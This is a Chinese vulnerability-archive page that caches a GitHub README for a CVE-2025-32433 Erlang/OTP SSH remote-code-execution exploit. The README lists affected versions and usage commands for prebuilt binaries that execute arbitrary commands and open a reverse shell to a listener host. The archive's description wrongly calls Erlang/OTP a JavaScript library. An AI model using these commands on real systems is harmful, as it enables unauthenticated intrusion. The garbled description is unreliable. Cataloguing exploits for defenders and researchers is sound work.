支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: f7d9830f49ee2f9189a3a4b1c75eb26a29329a72

来源
https://github.com/0x7556/CVE-2025-32433
关联漏洞
标题:Erlang/OTP 访问控制错误漏洞 (CVE-2025-32433)
Description:Erlang/OTP是Erlang/OTP开源的一个JavaScript编写的处理处理异常的库。该库可以捕捉node.js内置API引发的异常。 Erlang/OTP 27.3.3之前版本存在访问控制错误漏洞，该漏洞源于SSH协议消息处理缺陷，可能导致远程代码执行。
Description
CVE-2025-32433 Erlang/OTP SSH RCE Exploit  SSH远程代码执行漏洞EXP
介绍
# CVE-2025-32433 Erlang/OTP SSH RCE EXP

## Description

A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This could lead to compromise of said hosts, allowing for unauthorized access to and manipulation of sensitive data by third parties, or denial-of-service attacks.

## Affected Versions
    OTP-27.3.2 and earlier
    OTP-26.2.5.10 and earlier
    OTP-25.3.2.19 and earlier
    
## Features
- Exploit Execution: Execute arbitrary commands.
- Reverse Shell: Initiate a bash-based reverse shell.

    
## Usage

### Execute a command:
    cve-2025-32433.exe 127.0.0.1 -c 'id'
    ./cve-2025-32433.lnx 127.0.0.1 -c 'id'
### Initiate a reverse shell:
    cve-2025-32433.exe 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
    ./cve-2025-32433.lnx 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
    
 ![CVE-2025-32433](cve-2025-32433.png)
   
## References
  
  [GitHub Advisory](https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2)
  
  [NVD CVE-2025-32433](https://nvd.nist.gov/vuln/detail/CVE-2025-32433)
  
  [Platform Security](https://platformsecurity.com/blog/CVE-2025-32433-poc)

https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
文件快照

 [4.0K]  /data/pocs/f7d9830f49ee2f9189a3a4b1c75eb26a29329a72
├── [227K]  cve-2025-32433.png
└── [1.4K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。